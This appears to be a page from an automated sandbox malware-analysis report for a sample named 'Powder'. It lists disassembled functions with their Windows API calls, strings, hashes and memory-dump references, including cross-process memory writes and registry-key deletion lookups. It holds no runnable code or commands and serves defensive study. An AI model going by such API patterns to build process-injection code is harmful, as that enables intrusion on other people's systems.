Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 6455fafb15420285ea6f257562d903fcdcf69d48f36a3cf6c809200ba32e4695
Instruction ID: 09f3e8316f2097f31e74adcbc962752284f9bb645bf8eede0ede277601eaf552
Opcode Fuzzy Hash: 6455fafb15420285ea6f257562d903fcdcf69d48f36a3cf6c809200ba32e4695
Instruction Fuzzy Hash: 0AA15CB1104205AFD304EF64D881EAFB7E8EF94344F00595DF695A72D2EB70EA49CB92

Function 00E0E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00E20FE6: std::exception::exception.LIBCMT ref: 00E2101C
Part of subcall function 00E20FE6: __CxxThrowException@8.LIBCMT ref: 00E21031

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E11680: _memmove.LIBCMT ref: 00E116DB

__swprintf.LIBCMT ref: 00E0E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00E0E431

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 2e77e9183e6b1885e9b4596865b00acf430b99d225c125904069cab90b4aeafa
Instruction ID: 9ef78ae2536ba8f78ba0703386f6fe8dbaa03738cdb006ab9369fd4c8d75283f
Opcode Fuzzy Hash: 2e77e9183e6b1885e9b4596865b00acf430b99d225c125904069cab90b4aeafa
Instruction Fuzzy Hash: 48918E721042019FC714EF24D895CAEB7E4EF95304F00296DF591B72E2EA30EE84CB92

Function 00E2523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00E252CD

Part of subcall function 00E30320: __87except.LIBCMT ref: 00E3035B

Strings

pow, xrefs: 00E252A5, 00E252C2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: c5d3cc09e9a68a8eeeefaec344ab979fb64204ecddf7b58f1f4ae0faa44ea297
Instruction ID: 68448d0aad9a16d4d7f379a57359e4a4b931b287392fd97828174ab8b5bed22f
Opcode Fuzzy Hash: c5d3cc09e9a68a8eeeefaec344ab979fb64204ecddf7b58f1f4ae0faa44ea297
Instruction Fuzzy Hash: 86518B33909601DACB15A714EB253BA6FE49B01754F307C69E0E1B62F9EE748DC8DA42

Function 00E20654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00E20690
#, xrefs: 00E20699

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: a71a0b6f1766d5eb127d76fdd25b7e34ef3b1cd44bdad3696f37a4f8666ff5d6
Instruction ID: eddcd462ab003b23b3ea87cf53e15bc5d17d326bfcbd9e7be86cf1531e666bdc
Opcode Fuzzy Hash: a71a0b6f1766d5eb127d76fdd25b7e34ef3b1cd44bdad3696f37a4f8666ff5d6
Instruction Fuzzy Hash: 9B513475500255CFDF19EF28D440AFA7BA0EF59324F582456EC81BB2D1C730AC8ACB60

Function 00E0E7F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E0E937
_memmove.LIBCMT ref: 00E0E9D0
_free.LIBCMT ref: 00E0E9F6
_memmove.LIBCMT ref: 00E0EAA9

Strings

#V, xrefs: 00E0E9E2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove$_free
String ID: #V
API String ID: 2620147621-3658881132
Opcode ID: 3d0a504f45c2530edb033344ca7202aaa1ee5a530a0d0a226ec7aca14ed51e15
Instruction ID: a2b96b521819c3b7531ba3065d0093b7e904a5d071811e5b7f3e4eec315101ad
Opcode Fuzzy Hash: 3d0a504f45c2530edb033344ca7202aaa1ee5a530a0d0a226ec7aca14ed51e15
Instruction Fuzzy Hash: C75159716083418FDB24CF28D481B2EBBE5FF89314F04592DE599A73A1E731E841CB92

Function 00E1CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E1CFC2
_memmove.LIBCMT ref: 00E1D060
_memset.LIBCMT ref: 00E1D084

Strings

ERCP, xrefs: 00E1CF2D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: b1ec8f313ee93cc461104ab44c06d668669ca087adef318f9f9d11380af3c53f
Instruction ID: d63ce9a0d090e75cc8115c615283e4c83c9fd4e5969371c695e2f6b298cbd549
Opcode Fuzzy Hash: b1ec8f313ee93cc461104ab44c06d668669ca087adef318f9f9d11380af3c53f
Instruction Fuzzy Hash: 1F51C1B19043099BDB24CF64C881BEABBF5EF48314F24956EE84AEB241E770D6C5CB50

Function 00E5A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E61CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E59E4E,?,?,00000034,00000800,?,00000034), ref: 00E61CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00E5A3F7

Part of subcall function 00E61C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E59E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00E61CB0

Part of subcall function 00E61BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00E61C08
Part of subcall function 00E61BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00E59E12,00000034,?,?,00001004,00000000,00000000), ref: 00E61C18
Part of subcall function 00E61BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00E59E12,00000034,?,?,00001004,00000000,00000000), ref: 00E61C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E5A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E5A4B1

Strings

@, xrefs: 00E5A4C9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: de8367e4b65857973c295ba3684ce788cb4a80d00b4b4c3a34d763f9731097a6
Instruction ID: fe529f1ac5b07140c95ad84f17c46497a850f5485dd71f17b7a9803edce0a468
Opcode Fuzzy Hash: de8367e4b65857973c295ba3684ce788cb4a80d00b4b4c3a34d763f9731097a6
Instruction Fuzzy Hash: 0D418E7294021CBFCB11DFA4CC85ADEBBB8EF09340F0441A5FA55B7180DA706E89CBA1

Function 00E879FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00E87A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00E87A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E87ABE

Strings

SysMonthCal32, xrefs: 00E87A51

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 2cf3e6a587996b351073e564438b5b7298bb1d88595b52b4109bd30bd5366a53
Instruction ID: 3e95096be3e4ab264d22ef67b273ca38270098df575087decaa71cec1d9d7d58
Opcode Fuzzy Hash: 2cf3e6a587996b351073e564438b5b7298bb1d88595b52b4109bd30bd5366a53
Instruction Fuzzy Hash: 6821EF32200218BFDF159F50CC82FEE3BA9EF48724F211254FE587B190DAB1E8549BA0

Function 00E881B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00E8826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00E8827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00E88284

Strings

msctls_updown32, xrefs: 00E881E9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 3a707b436a17d19b7a5517dd0f66bcd5e44d9ee48effeb81f7334b80f8b84cf3
Instruction ID: b0a4d01d8a954270ac194f4b20f1ef27f38f83cfb41876621af12b34dfba46e0
Opcode Fuzzy Hash: 3a707b436a17d19b7a5517dd0f66bcd5e44d9ee48effeb81f7334b80f8b84cf3
Instruction Fuzzy Hash: A42190B1604219AFDB10EF64DC85DA737EDEB4A358B441059FE09BB2A1CB71EC11CBA0

Function 00E872D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00E87360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00E87370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00E87395

Strings

Listbox, xrefs: 00E8732D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 8366bf0ae6714fc2491446fecff5b2258f9b038971f3130535821bdd02a8aa1c
Instruction ID: a5efb9467abc1c9d10e7772f86226a25b9ebcc69c1a4c4a78a328a996971d90a
Opcode Fuzzy Hash: 8366bf0ae6714fc2491446fecff5b2258f9b038971f3130535821bdd02a8aa1c
Instruction Fuzzy Hash: 0721F532204118BFDF119F55CC45EFF37AAEB89754F109125FD48AB190C671DC519BA0

Function 00E3B4F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E3B544: _memset.LIBCMT ref: 00E3B551

Part of subcall function 00E20B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00E3B520,?,?,?,00E0100A), ref: 00E20B79

IsDebuggerPresent.KERNEL32(?,?,?,00E0100A), ref: 00E3B524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00E0100A), ref: 00E3B533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00E3B52E
=, xrefs: 00E3B514

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule$=
API String ID: 3158253471-1801005180
Opcode ID: 14124a56fc51dcb296c0c641ac6c48e1293fc75daa2e2d0fd11726bdca066bf6
Instruction ID: 31ca851b63c800e0907e90c9ac9b50f4ea37d093028d84b5811d27ef4f5a67a9
Opcode Fuzzy Hash: 14124a56fc51dcb296c0c641ac6c48e1293fc75daa2e2d0fd11726bdca066bf6
Instruction Fuzzy Hash: 38E06DB02003118FD3209F3AE409B02BEE0AF04304F10991EE486EA351DBB5E548CB91

Function 00E7C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E4027A,?), ref: 00E7C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00E7C6F9

Strings

GetSystemWow64DirectoryW, xrefs: 00E7C6F3
kernel32.dll, xrefs: 00E7C6E2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: f624999e5561326feac15232f97648f0d8736f2f927a184dd8bed2397c8324c5
Instruction ID: 0f79ba5176f0d98328388dec198f672f99c4150b2e8a0383f0afe8020f3ed99c
Opcode Fuzzy Hash: f624999e5561326feac15232f97648f0d8736f2f927a184dd8bed2397c8324c5
Instruction Fuzzy Hash: E9E0C2386103028FD7204B3AEC49A5276D8FF04308BA0E42FE899F2210DB70C880CF10

Function 00E14BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E14AF7,?), ref: 00E14BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00E14BCA

Strings

Wow64RevertWow64FsRedirection, xrefs: 00E14BC4
kernel32.dll, xrefs: 00E14BB3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 131e45c9d85645a8a9a23a92d2bb6866ecb95a24b4b3eabcd12cd46643e59a8d
Instruction ID: 9647764e9c00fbe5c3f53e53b278a48f221fd3f65c69aecf70e993d2fc854b17
Opcode Fuzzy Hash: 131e45c9d85645a8a9a23a92d2bb6866ecb95a24b4b3eabcd12cd46643e59a8d
Instruction Fuzzy Hash: C5D017B05167129FD720AF32EC08B8776E5AF44359B51AC6BD4D6F6AA4EA70D8C0CA10

Function 00E14B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E14B44,?,00E149D4,?,?,00E127AF,?,00000001), ref: 00E14B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00E14B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00E14B91
kernel32.dll, xrefs: 00E14B80

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 2720076f2ddd964cee7d864119cb9f56f65371cce122a84cac4b9beae5115796
Instruction ID: a2b8394c1e0d9988872952f1e187969ce6bf8f068535ab236413a0c31a38784f
Opcode Fuzzy Hash: 2720076f2ddd964cee7d864119cb9f56f65371cce122a84cac4b9beae5115796
Instruction Fuzzy Hash: 38D017B05147129FD7209F32EC18B8676E4AF44355FA1A82BD4D6F26A0E670E8C0CA14

Function 00E81447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00E81696), ref: 00E81455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00E81467

Strings

RegDeleteKeyExW, xrefs: 00E81461
advapi32.dll, xrefs: 00E81450

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 3d7bdb6086bbb811d8965f3adc12c7e8e9ce2c4ff792bba4db81ce7205117fca
Instruction ID: 08e6c057af93f13c1ec75cf041d56bfaf1c06c52f076847e645c0ea03b6538d2
Opcode Fuzzy Hash: 3d7bdb6086bbb811d8965f3adc12c7e8e9ce2c4ff792bba4db81ce7205117fca
Instruction Fuzzy Hash: 60D017305127139FD720AF76D80864776E8AF06399F21DC6B94EAF2160EA70D8C0CB20

Function 00E155F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00E15E3D), ref: 00E155FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00E15610

Strings

kernel32.dll, xrefs: 00E155F9
GetNativeSystemInfo, xrefs: 00E1560A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: d69887d845c50365957d209f691d22d4a1fc9488911ee7f12e3a49a6d377d715
Instruction ID: 4dc69ac6d76ebb2e939765c3d1e18ea6a006709d113b209adf575b40f2da5e80
Opcode Fuzzy Hash: d69887d845c50365957d209f691d22d4a1fc9488911ee7f12e3a49a6d377d715
Instruction Fuzzy Hash: 88D01275511712DFD7205F32D84865676D4AF84355B91982BD495F2151D770C4C0C690

Function 00E797CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00E793DE,?,00E90980), ref: 00E797D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00E797EA

Strings

kernel32.dll, xrefs: 00E797D3
GetModuleHandleExW, xrefs: 00E797E4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 28d5da33adaf974e2db8fce71482f351454422a5aef75050567e1b114eb187eb
Instruction ID: 480ea0f1520099390ff376e366d9b56c48dab1e94beb13656b8bd4c1994ba59d
Opcode Fuzzy Hash: 28d5da33adaf974e2db8fce71482f351454422a5aef75050567e1b114eb187eb
Instruction Fuzzy Hash: 88D017705207139FD7209F32E888646B6E5AF48395B51E82BD49AF2160EBB0C880CA11

Function 00E57D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
